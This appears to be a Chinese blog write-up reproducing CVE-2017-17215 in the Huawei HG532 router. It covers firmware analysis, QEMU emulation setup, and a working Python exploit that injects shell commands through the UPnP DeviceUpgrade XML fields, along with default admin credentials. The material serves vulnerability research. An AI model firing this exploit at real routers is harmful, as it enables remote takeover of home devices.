华为路由器CVE-2017-17215-HG532

漏洞描述

官方

华为路由器CVE-2017-17215-HG532_第1张图片

该远程命令执行漏洞是位于UPnP服务中的,该设备支持名为DeviceUpgrade的一种服务类型
设备可以通过这种服务更新固件,具体过程是向“/ctrlt/DeviceUpgrade_1”这个地址提交请求,请求中包含NewStatusURL及NewDownloadURL两个元素。远程管理员可以通过该漏洞在设备上执行任意命令 将shell元字符 注入NewStatusURL以及NewDownloadURL元素中。

分析漏洞

下载固件:

https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar

解压分析固件

华为路由器CVE-2017-17215-HG532_第2张图片

上述简介中讲过,这个漏洞集中在UPnP服务中,所以拖到IDA进行分析

查找相关敏感的字符串

华为路由器CVE-2017-17215-HG532_第3张图片

交叉引用跟进去查看

华为路由器CVE-2017-17215-HG532_第4张图片

发现和TOTOLink相似的漏洞点:在没有任何过滤的情况下,snprintf拼接好直接执行

华为路由器CVE-2017-17215-HG532_第5张图片

大概流程就是程序通过ATP_XML_GetChildNodeByName函数获取xml中的节点,并且未经过检查就直接与upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -b拼接,然后使用system函数进行执行。

下面搭建环境利用

搭建环境

下载启动虚拟机需要的镜像:上面说过,mips,32位,大端

镜像:

https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta

网络配置:(与docker中bridge模式配置差不多)

创建虚拟网桥:

sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.153.1/24 up

创建tap接口,添加到网桥

sudo tunctl -t tap0
sudo ifconfig tap0 192.168.153.11/24 up
sudo brctl addif Virbr0 tap0

启动虚拟机:

sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

虚拟机中配置ip

ifconfig eth0 192.168.153.2/24 up

然后将固件中的文件系统拷进去

scp -r squashfs-root/ [email protected]:~/

华为路由器CVE-2017-17215-HG532_第6张图片

在虚拟机中挂载dev和proc

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc

启动shell

chroot squashfs-root sh

因为后面启动路由器之后,ip会变化,所以另开一个终端启动路由器,这个终端用来后面修改IP地址

ssh [email protected]
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic

然后到刚在那个预留的终端中修改IP

ifconfig eth0 192.168.153.2/24 up
ifconfig br0 192.168.153.11/24 up

然后就可以正常使用了;账号密码:admin,@Hua1234

华为路由器CVE-2017-17215-HG532_第7张图片

漏洞利用

根据流程,利用思路大概是:

首先在输入单引号将前面的字符串闭合,然后再注入相应的执行命令即可,如需要执行cat /flag命令,则需要做的就是构造’;cat /flag;节点即可。通过ATP_XML_GetChildNodeByName函数处理后,该节点字符串与upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -b拼接得到upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r ';cat /flag; -d -b,然后执行system调用,实现注入。

利用脚本

import requests
headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''
 
  
   ;echo "pmjtest">>/bin/hell/1;
   HUAWEIUPNP
  
 

'''
requests.post('http://192.168.153.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

利用效果

华为路由器CVE-2017-17215-HG532_第8张图片

华为路由器CVE-2017-17215-HG532_第9张图片

自动化漏洞挖掘思路

  1. 我觉得第一个关注点就是从输入点进去一个个查,比如TOTOLink中的websGetVar,然后跟进去查看是否有风险点
  2. 第二个就是从危险函数倒追,比如两处都遇到的,sprintf拼接完成之后,直接没有任何处理就使用system函数执行:strcpy、sprintf、system等
‘popen’, ‘system’, ‘doSystemCmd’, ‘doSystembk’, ‘doSystem’, ‘COMMAND’, ‘_popen’, ‘_system’, ‘_doSystemCmd’, ‘_doSystembk’, ‘_doSystem’, ‘_COMMAND’,‘sprintf’, ‘snprintf’, ‘_sprintf’, ‘_snprintf’

这是我的对这两个设备进行漏洞挖掘的思路总结。

  1. 共享关键字,比如上面有setenv和getenv,或者telnet的关键字,找对应关系
    • 识别这些共享关键字,在后端二进制中定位对应的引入点,并开始查找漏洞
    • 这种情况一般手法:ida中字符串,或是在固件中直接grep查找字符串

参考:https://xz.aliyun.com/t/8494

你可能感兴趣的:(IOT,漏洞复现,安全,iot,安全漏洞)